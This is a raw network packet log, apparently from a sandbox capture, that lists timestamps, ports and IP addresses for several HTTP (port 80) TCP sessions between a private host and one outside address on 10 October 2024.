Oct 10, 2024 21:02:20.396286011 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396378994 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396493912 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396536112 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396759987 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396796942 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396835089 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396893978 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396930933 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.396967888 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397022963 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397061110 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397095919 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397131920 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397169113 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397226095 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.397263050 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400424004 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400497913 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400535107 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400590897 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400626898 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.400662899 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.684902906 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.740324020 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.745740891 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.745816946 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.003030062 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.008222103 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.008286953 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.059488058 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.064781904 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.454813957 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.455627918 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.455952883 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.460726976 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.460918903 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.460958004 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.460983992 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461011887 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461071014 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461110115 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461133003 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461163044 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461193085 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461245060 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461359978 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461399078 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461442947 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461462975 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461492062 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461529970 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461554050 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461577892 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.461613894 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.461662054 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.466743946 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.466784000 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.466806889 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.466834068 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.466861963 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.466916084 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.466944933 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.466983080 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.467011929 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.467031956 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.467144966 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.467251062 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.467874050 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.467940092 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.472130060 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.472210884 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.472280025 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.472568035 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.472781897 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.472824097 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.472922087 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473007917 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473046064 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473103046 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473140955 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473179102 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473238945 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473277092 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473313093 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473354101 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473391056 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473427057 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.473463058 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.477226019 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.477271080 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.477394104 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.477432013 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.937613964 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.949107885 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:21.954303026 CEST	80	50415	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:21.954351902 CEST	50415	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.082382917 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.087635040 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.087980986 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.088380098 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.093352079 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.542592049 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.543454885 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.543654919 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548383951 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548587084 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548607111 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548669100 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548701048 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548718929 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548753023 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548758030 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548778057 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548799038 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548825026 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548901081 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548921108 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.548968077 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.548995972 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.549051046 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.549053907 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.549096107 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553617001 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553644896 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553687096 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553699970 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553718090 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553750992 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553755045 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553778887 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553801060 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553803921 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553848982 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.553906918 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553925037 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553966045 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.553975105 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.554025888 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.554032087 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.554052114 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.554097891 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.554145098 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.554202080 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.558743954 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.558805943 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.558912992 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.559077024 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.559376001 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.563868999 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.856808901 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.866769075 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:22.873187065 CEST	80	50420	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:22.873264074 CEST	50420	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.053725004 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.058845997 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.058904886 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.059376001 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.064320087 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.506753922 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.556193113 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.602243900 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.607132912 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.610862017 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.615858078 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.615885973 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.615911961 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.615925074 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.615950108 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.615957975 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.615986109 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.615989923 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.616012096 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.616013050 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.616036892 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.616039991 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.616074085 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.616082907 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.616108894 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.616132975 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.616134882 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.616159916 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.621229887 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621284008 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621309996 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621335983 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621365070 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621540070 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.621542931 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.621623993 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.626597881 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.626672983 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.626790047 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.626816988 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.626847982 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.626858950 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.626920938 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.626946926 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627013922 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627075911 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627227068 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627253056 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627298117 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627326965 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627352953 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627444029 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627494097 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627518892 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627546072 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627574921 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.627600908 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.631588936 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.631772995 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.631818056 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.631985903 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632011890 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632041931 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632106066 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632132053 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632158041 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.632186890 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.925719976 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.935278893 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:23.940980911 CEST	80	50425	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:23.941054106 CEST	50425	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.057785034 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.062896013 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.063105106 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.063369036 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.068248034 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.527218103 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.527919054 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.528114080 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.532828093 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533036947 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533052921 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533102036 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533108950 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533149958 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533170938 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533176899 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533185005 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533200979 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533221960 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533232927 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533269882 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533276081 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533299923 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533312082 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.533348083 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.533349037 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.538090944 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538104057 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538124084 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538136005 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538149118 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538165092 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.538213968 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.538228035 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538310051 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.538343906 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538357973 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538419962 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.538441896 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538454056 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538482904 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.538535118 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.539074898 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.543112993 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543312073 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.543451071 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543625116 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543693066 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543762922 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543818951 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543872118 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543920994 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543978930 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.543991089 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544018984 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544085979 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544096947 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544107914 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544121981 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544132948 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544204950 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544265032 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544276953 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544287920 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544353008 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544364929 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544375896 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544389963 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.544400930 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.548579931 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.843451023 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.854846001 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.860162973 CEST	80	50431	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.860363007 CEST	50431	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.976867914 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.981832981 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:24.981935978 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.982327938 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:24.987216949 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.438208103 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.438848019 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.439050913 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.444284916 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444314957 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444344997 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444370985 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444417000 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444442987 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444469929 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444489002 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.444489002 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.444494963 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444525003 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444550037 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.444550991 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444576979 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.444587946 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.444626093 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.449681997 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.449708939 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.449752092 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.449755907 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.449779034 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.449783087 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.449804068 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.449843884 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.449848890 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.449901104 CEST	50436	80	192.168.2.4	104.21.59.199
